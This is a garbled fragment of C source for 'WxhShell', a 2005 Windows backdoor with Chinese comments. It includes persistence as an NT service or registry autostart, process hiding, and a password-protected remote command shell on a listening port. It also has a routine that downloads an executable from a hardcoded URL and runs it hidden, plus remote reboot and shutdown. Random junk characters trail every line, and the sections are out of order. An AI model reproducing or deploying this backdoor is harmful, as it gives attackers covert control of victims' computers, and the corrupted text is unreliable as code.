ULONG UniqueProcessId; a;Nj'M~U
ULONG InheritedFromUniqueProcessId; HWr")%EhD
} PROCESS_BASIC_INFORMATION; DhQYjC[
#+1*g4m~B
PROCNTQSIP NtQueryInformationProcess; ]LvpYRU$P
Q k`yK|(0=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QfI)+pf
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4eSV(u)4
EZm6WvlxSI
HANDLE hProcess; NFc@Kz<H
PROCESS_BASIC_INFORMATION pbi; /<(d.6T[}:
a r0y8>]3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kEM5eY
if(NULL == hInst ) return 0; ,j4 ;:F
-Oo7]8
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \78w1Rkl
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P'prp=JD
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sW#}QYd
Ksp!xFk
if (!NtQueryInformationProcess) return 0;
RVxlN*
!MOgM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o{EWNkmj
if(!hProcess) return 0; 2:(h17So
^&o38=70*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B}=
WxG|)
y<|vcg8x
CloseHandle(hProcess); X-F|&yE~<
]jUxL=]r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LL~bq(b
if(hProcess==NULL) return 0; r?e)2l~C8j
a@&^t( 1
HMODULE hMod; MIcF"fB![
char procName[255]; 2
{lo
unsigned long cbNeeded; `+~@VZ3m
\9T;-]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l
vuoVINEp
c}nXMA^^
CloseHandle(hProcess); L0_qHLY
OUY65K
if(strstr(procName,"services")) return 1; // 以服务启动 (
}DCy23
:*wnO;eN
return 0; // 注册表启动 jk0Ja@8PK
} C0\A
AiXxn'&i
// 主模块 5feCA ,v7
int StartWxhshell(LPSTR lpCmdLine) R3]Ra&h6N)
{ m6P!#=a:l<
SOCKET wsl; &n%
3rC5{
BOOL val=TRUE; `(|jm$Q
int port=0; Bc{#ia
struct sockaddr_in door; ?#F}mOVAa
%N!2 _uk5
if(wscfg.ws_autoins) Install(); Q3SwW
q]%c
6{w
port=atoi(lpCmdLine); 8$fiq}a
qMAH~P0u
if(port<=0) port=wscfg.ws_port; ;c5Q"
*KP
60T
WSADATA data; 9aw- n*<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +tz^ &(
0&1!9-(d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lNSB "S
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hP4*S^l
door.sin_family = AF_INET; G]fl33_}l
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lx<]v^
door.sin_port = htons(port); X@u-n_
M[ea!an
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *$nz<?
closesocket(wsl); 4_3
DQx9s
return 1; y0Pr[XZ
} i%7b)t[y
gt5
if(listen(wsl,2) == INVALID_SOCKET) { b??k|q
closesocket(wsl); ;C8'7
return 1; *)c,~R^
} g->cgExj
Wxhshell(wsl); 7Zl-|
WSACleanup(); hB#z8D
Z6<vLc
return 0; {0fQ"))"
n/_cJD\
} u 89u#gCAC
Xp]tL3-p
// 以NT服务方式启动 *N"bn'>3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Cc:m~e6r
{ n237%LH[
DWORD status = 0; CErkmod{}e
DWORD specificError = 0xfffffff; f!}c0nb
:%Dw3IrOM
serviceStatus.dwServiceType = SERVICE_WIN32; 'J^E|1P
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .S&S#}$/]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v_*E:E
serviceStatus.dwWin32ExitCode = 0; ".z~c%'
serviceStatus.dwServiceSpecificExitCode = 0; iY~9`Q1E
serviceStatus.dwCheckPoint = 0; /8baJ+D"4\
serviceStatus.dwWaitHint = 0; S8+Xk= x
CCJ!;d;&87
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /#?lG`'1
if (hServiceStatusHandle==0) return; QKYGeT7&Y'
XJ;kyEx3=O
status = GetLastError(); euHX7
if (status!=NO_ERROR) }}v04~
{ OiAi{ 71
serviceStatus.dwCurrentState = SERVICE_STOPPED; p1p4t40<l
serviceStatus.dwCheckPoint = 0; ;ti{
#(Ux
serviceStatus.dwWaitHint = 0; WY%LeC!t
serviceStatus.dwWin32ExitCode = status; .$>?2|gRv
serviceStatus.dwServiceSpecificExitCode = specificError; gP*:>[lR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2RDos#
return; IAbK]kA
} #`5 M(
o
!7SZZz
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,[IN9W
serviceStatus.dwCheckPoint = 0; SE+K"faKQ
serviceStatus.dwWaitHint = 0; :0Nd4hA
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \M/XM6:UG4
} vv,OBL~{
B[^mWVp6L
// 处理NT服务事件,比如:启动、停止 #;'1aT
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,D-VC{lj
{ 4.bL>Y>c
switch(fdwControl) =V:rO;qX+@
{ .Ev i
case SERVICE_CONTROL_STOP: (6p5Fo
serviceStatus.dwWin32ExitCode = 0; j r6)K;:.
serviceStatus.dwCurrentState = SERVICE_STOPPED; V|vU17Cgy
serviceStatus.dwCheckPoint = 0; }pKHa'/\
serviceStatus.dwWaitHint = 0; DJlY~}v#_
{ %&9tn0B
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
v4sc
} D,+I)-k<
return; F7^d@hSV
case SERVICE_CONTROL_PAUSE: :Vq gmn
serviceStatus.dwCurrentState = SERVICE_PAUSED; j3F[C:-zY
break; ]*-9zo0
case SERVICE_CONTROL_CONTINUE: -\yaP8V
serviceStatus.dwCurrentState = SERVICE_RUNNING; [Dp 6q~RM
break; eHG**@"X
case SERVICE_CONTROL_INTERROGATE: =rS z>l
break; -nG3(n&wB
}; O&]Y.Z9,A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1tG,V%iCp
} R,01.N( U
%(b`i C9
// 标准应用程序主函数 +u*WUw!%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bU1UNm`{C
{ ?lCKZm.,(-
(
3IM7
// 获取操作系统版本 6l IFxc
OsIsNt=GetOsVer(); s]0x^"#B
GetModuleFileName(NULL,ExeFile,MAX_PATH); c]O3pcU
Y;S+2])R2
// 从命令行安装 PL<q|y
if(strpbrk(lpCmdLine,"iI")) Install(); *nD yB.(
f+Nq?GvwBQ
// 下载执行文件 z7F~;IB*u
if(wscfg.ws_downexe) { '6u;KIG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I'G$: GX
WinExec(wscfg.ws_filenam,SW_HIDE); AEm?g$a
} KcP86H52I
S'vi +_
if(!OsIsNt) { nn$,|/
// 如果时win9x,隐藏进程并且设置为注册表启动 D
%~s
HideProc(); ^r73(8{)
StartWxhshell(lpCmdLine); vWI9ocl`W
} 9}t2OJS*h"
else LOi5 ^Um|
if(StartFromService()) pm O }m>
// 以服务方式启动 eu~WFI
StartServiceCtrlDispatcher(DispatchTable); 3]0ETcT
else IZeWswz
// 普通方式启动 GEy^*, d
StartWxhshell(lpCmdLine); 9>d$a2nc
$I!vQbi
return 0; cEO g
} )El#Ks5u
#sy)-xM
E>xdJ
$+zev$f
=========================================== Q$G!-y+"i
MzsDWx;eJ
ge?1ez2
+LV~%?W
@v_ ) (
draY/
" mYXe0E#6
Ll lyx20U
#include <stdio.h> FVsVY1
#include <string.h> RvvK`}/6
#include <windows.h> Q&^ti)vB
#include <winsock2.h> ]H) x
#include <winsvc.h> )#Ea~>v
#include <urlmon.h> 5YMjvhr?W
nRN&u4
#pragma comment (lib, "Ws2_32.lib") >Rs:Fw|jro
#pragma comment (lib, "urlmon.lib") Z ) qc-~S
h djv/
#define MAX_USER 100 // 最大客户端连接数 bTE%p0
#define BUF_SOCK 200 // sock buffer "'-f?kZ
#define KEY_BUFF 255 // 输入 buffer JadXd K=gE
LHKawEZ
#define REBOOT 0 // 重启 wgpu]ooUF&
#define SHUTDOWN 1 // 关机 G%-[vk#]
Af1mTbf=
#define DEF_PORT 5000 // 监听端口 i[@*b/A
{e0cc1Up}
#define REG_LEN 16 // 注册表键长度 v/\l
#define SVC_LEN 80 // NT服务名长度 :CNWHF4$
ZY +NKb_
// 从dll定义API Xa#`VDh
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g:`V:kbY$
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _/MHi-]/.
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8-UlbO6
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PYPs64kNC]
!]7Z),s
// wxhshell配置信息 i]a0
"
struct WSCFG { kJq8"Klg
int ws_port; // 监听端口 L;H(I@p(e
char ws_passstr[REG_LEN]; // 口令 7NV1w*>/
int ws_autoins; // 安装标记, 1=yes 0=no L|EvI.f
char ws_regname[REG_LEN]; // 注册表键名 4!,x3H'
char ws_svcname[REG_LEN]; // 服务名 7"wr8
char ws_svcdisp[SVC_LEN]; // 服务显示名 y|Tb&XPD
char ws_svcdesc[SVC_LEN]; // 服务描述信息 :w:hqe|_
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w4<1*u@${
int ws_downexe; // 下载执行标记, 1=yes 0=no j8WnXp_
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \I1+J9Gl
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (eS4$$g
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}; M%5qx,JQY
nAG2!2_8
// default Wxhshell configuration Zsc710_
struct WSCFG wscfg={DEF_PORT, c#|!^gjf
"xuhuanlingzhe", XzgJ@
1, <Qu]m.z[
"Wxhshell", q+5g+9
"Wxhshell", ^.aFns{wv
"WxhShell Service", C,Q>OkSc
"Wrsky Windows CmdShell Service", yt}Ve6 m
"Please Input Your Password: ", "C&l7K;bp
1, [U.3rcT"N
"http://www.wrsky.com/wxhshell.exe", zMxHJNQ\D
"Wxhshell.exe" wZ6LiYiHl
}; |jH-
bm
kL\
FY
// 消息定义模块 S*VG;m#
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O@6iG
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pp3<K649
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *cz nokq6
char *msg_ws_ext="\n\rExit."; +KgLe> -}
char *msg_ws_end="\n\rQuit."; FY+0r67]
char *msg_ws_boot="\n\rReboot..."; w4P?2-kB
char *msg_ws_poff="\n\rShutdown..."; .w/w]
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char *msg_ws_down="\n\rSave to "; Q^>"AhOiU
/ CEn yE/
char *msg_ws_err="\n\rErr!"; 8+5#FC7
char *msg_ws_ok="\n\rOK!"; 9`VgD<?v
Fy37I/#)r&
char ExeFile[MAX_PATH]; c1B<